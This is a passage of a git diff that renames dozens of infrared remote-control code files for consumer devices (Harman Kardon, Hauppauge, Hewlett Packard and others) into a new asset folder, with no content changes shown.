assets/resources/infrared/optional-assets/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Herma/Dipper/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Herma/Dipper/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Herma/Dipper/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Herma/Dipper/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir diff --git 